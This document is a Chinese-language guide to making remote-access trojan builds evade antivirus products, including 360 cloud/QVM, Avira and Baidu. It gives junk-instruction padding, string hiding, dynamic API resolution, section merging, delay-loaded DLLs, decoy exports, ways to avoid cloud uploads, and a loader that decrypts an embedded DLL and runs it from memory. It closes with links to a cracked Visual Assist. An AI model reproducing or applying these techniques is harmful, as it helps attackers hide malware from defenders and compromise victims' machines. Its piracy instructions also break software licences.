文件预处//Server.cpp头部要加的代码:
//自定义链接库 //优化代码 //合并区段代码 //延时加载代码
//修改优化模式(链接)
//免杀前的预处理:
//1.删除资源代码(Server.rc)
//2.更改明显字符串
//3.加入大量花指令
//Server.cpp winman函数"{}"里面第一句加反调试代码
代码被杀出:
1 花指令
/* //花指令
1.
__asm
{
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je END
END:
pop eax
}
2.
mov edx,edx
mov ecx,ecx
push eax
pop eax
3.
nop
nop
nop
push eax
jmp MY
MY:
pop eax
*/
__asm nop; //nop指令 __asm nop; __asm nop; __asm nop; __asm{ nop; push eax; pop eax; inc eax; inc eax; add eax,1; sub eax,1 } // 花指令
Sleep(0); //延时0秒
try catch //代码tcy变异
加资源过云
2 字符串隐藏 字符串连接
3 输入表的免杀方法: 动态调用
//API函数动态调用的模型
/*定义
typedef 第一行 (第二行 *需要替换的函数T)
(
替换完后
剩下的
代码位置
);
需要替换的函数T p需要替换的函数= (需要替换的函数T)GetProcAddress(LoadLibrary("函数的所在DLL"),"需要替换的函数");
*/
4 自定义函数入口(处理云)
1.
//云定位在入口位置(本地处理后)
#pragma comment(linker,"/ENTRY:EntryPoint(函数)") //自定义函数入口
BOOL EntryPoint(函数)() //原代码: int winman函数
//代码结束处加 return 0;
2.
//变异改变入口点
// 入口点设置的自定义函数名
// stdafx.h 里面导入lib库文件
// int 入口点设置的自定义函数名 ()
//云主要杀动态加载函数 花指令和资源
QVM 或者云
//QVM 或者云 //资源 //编译时的设置 //合并区段代码的改变
//加大文件,或者加内存加载,白加黑,运行增大,防上传代码,添加MFC
//NOP 入口点再定位
//关于云鉴定
1.校验和不要重复(不过的情况)
2.>64M的文件不上报(自解压+vbs批处理)
5 源码定位
通常杀在功能的cpp文件 //源码定位Buffer.cpp Clientsoket.pp Audlo.cpp #pragna code_seg("claidx") //把这个cpp的代码放到claidx这个区段面(代码放在cpp头部,主要过BD)
vc删除临时文件.bat @echo off echo ---------------------------------------------------- echo Press any key to delete all files with ending: echo *.aps *.idb *.ncp *.obj *.pch *.tmp *.sbr echo Visual c++/.Net junk echo ---------------------------------------------------- del /F /Q /S *.aps *.idb *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.res *.ncb *.opt *.suo *.dep
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"shell32.lib")
#pragma comment(lib,"msvcrt.lib")
#pragma comment(linker,"/ALING:512")
#pragma comment(linker,"/FILEALIGN:512")
#pragma comment(linker,"/opt:nowin98")
#pragma comment(linker,"/opt:ref")
#pragma comment(linker,"/OPT:ICF")
//合并区段代码 .ccp文件 //#pragma comment(linker, "/OPT:NOWIN98") #pragma comment(linker, "/opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW") //把.rdata、.data合并到.text区段里去,/section:.text,ERW"这个是设置区段的读写权限
#pragma code_seg("区段名") //添加区段 // 合并区段 #pragma comment(linker, "/MERGE:.rdata=.data")//把rdata区段合并到data区段里 #pragma comment(linker, "/MERGE:.text=.data")//把text区段合并到data区段里 #pragma comment(linker, "/MERGE:.reloc=.data")//把reloc区段合并到data区段里
//优化代码
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"shell32.lib")
#pragma comment(lib,"msvcrt.lib")
#pragma comment(linker, "/opt:nowin98")
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
小红伞
1. 延迟加载(定位到xxx.dll就延迟加载xxx.dll)
#pragma comment(lib,"DELAYIMP.lib")
#pragma comment(linker,"/DELAYLOAD:ws2_32.dll") //延迟的dll
#pragma comment(linker,"/DELAYLOAD:ADVAPI32.DLL")
#pragma comment(linker,"/DELAY:nobind")
#pragma comment(linker,"/DELAY:unload")
//延时加载函数
#pragma comment(lib, "DELAYIMP.LIB")
#pragma comment(linker, "/DELAYLOAD:WININET.dll")
#pragma comment(linker, "/DELAYLOAD:WS2_32.dll")
#pragma comment(linker, "/DELAYLOAD:PSAPI.DLL")
#pragma comment(linker, "/DELAYLOAD:GDI32.dll")
#pragma comment(linker, "/DELAYLOAD:ADVAPI32.dll")
#pragma comment(linker, "/DELAYLOAD:SHELL32.dll")
#pragma comment(linker, "/DELAYLOAD:WINMM.dll")
#pragma comment(linker, "/DELAYLOAD:USER32.dll")
#pragma comment(linker, "/DELAYLOAD:WTSAPI32.dll")
#pragma comment(linker, "/DELAYLOAD:AVICAP32.dll")
#pragma comment(linker, "/DELAYLOAD:SHLWAPI.dll")
#pragma comment(linker, "/DELAYLOAD:IMM32.dll")
#pragma comment(linker, "/DELAYLOAD:urlmon.dll")
#pragma comment(linker, "/DELAYLOAD:OLEAUT32.dll")
#pragma comment(linker, "/DELAYLOAD:ole32.dll")
#pragma comment(linker, "/DELAYLOAD:NETAPI32.dll")
#pragma comment(linker, "/DELAY:nobind")
#pragma comment(linker, "/DELAY:unload")
//然后添加一些迷惑杀毒软件的输出表函数
extern "C" __declspec(dllexport) bool heiyuxhj();
extern "C" __declspec(dllexport) bool space()
{
return false;
}
2. 定位到xxx.dll中的函数
直接动态调用
3. 定位到“xxx.dll” 这个名上
可以延迟加载
也可用lordpe查看该DLL中的函数
4.隐藏msvcrt
v3 最小 MT 去掉ms的lib
5.打乱源码顺序
任意远控16进制转换快速免杀、
新建一个工程 **************************************************************************** #include "junction.h" extern "C" __declspec(dllexport)void FangSi() { } /dll /incremental:no /pdb: #include "MemLoadDll.h" #include "c_ball.h" HINSTANCE hInstance = NULL; void EncryptData(unsigned char *szRec, unsigned long nLen, unsigned long key)//解密 { _asm nop; unsigned long i; unsigned char p; _asm nop; p = (unsigned char ) key % 254 +8; for(i = 0; i < nLen; i+=2) { *szRec ^= p; *szRec += p; szRec++; } } typedef int (WINAPI *PFN_POPMSGBOX)(void); DWORD MainFunc(char*Name) { HRSRC hResInfo; HGLOBAL hResData; DWORD dwSize; PVOID DllResourceModule=NULL; HMEMORYMODULE hDll; PFN_POPMSGBOX pfn; EncryptData((unsigned char *)BallMyFileBuf,BallMyFileSize,3800); hDll=MemoryLoadLibrary(BallMyFileBuf); if (hDll==NULL) return -1 ; pfn=MemoryGetProcAddress(hDll,Name); if (pfn==NULL) { MemoryFreeLibrary(hDll); return -1; } pfn(); if (hDll!=NULL) { MemoryFreeLibrary(hDll); hDll=NULL; } return 0; } char Ribi[]={'F','a','n','g','S','i','\0'}; MainFunc(Ribi); return 0; ************************************* 以上是工程代码
环境搭建 SDK更新包 复制Include/Lib这两个文件夹,粘贴到VC98目录下 下载地址:http://pan.baidu.com/s/1midjZYg 密码:7x57 xtp 复制Lib/VC60/TOOL头文件下的全部文件,粘贴到VC98/LIB目录下 复制Source下的全部文件,粘贴到VC98/ATL/Include目录下 下载地址:http://pan.baidu.com/s/1qXT83b2 密码:yukk VC助手 运行VA_X_Setup1715.exe进行安装(该文件是从官方网站直接下载的,可以放心安装) 安装完成后将破解文件VA_X.dll复制至安装文件夹,覆盖同名文件即可 下载地址:http://pan.baidu.com/s/1eSHrNf8 密码:vd6q
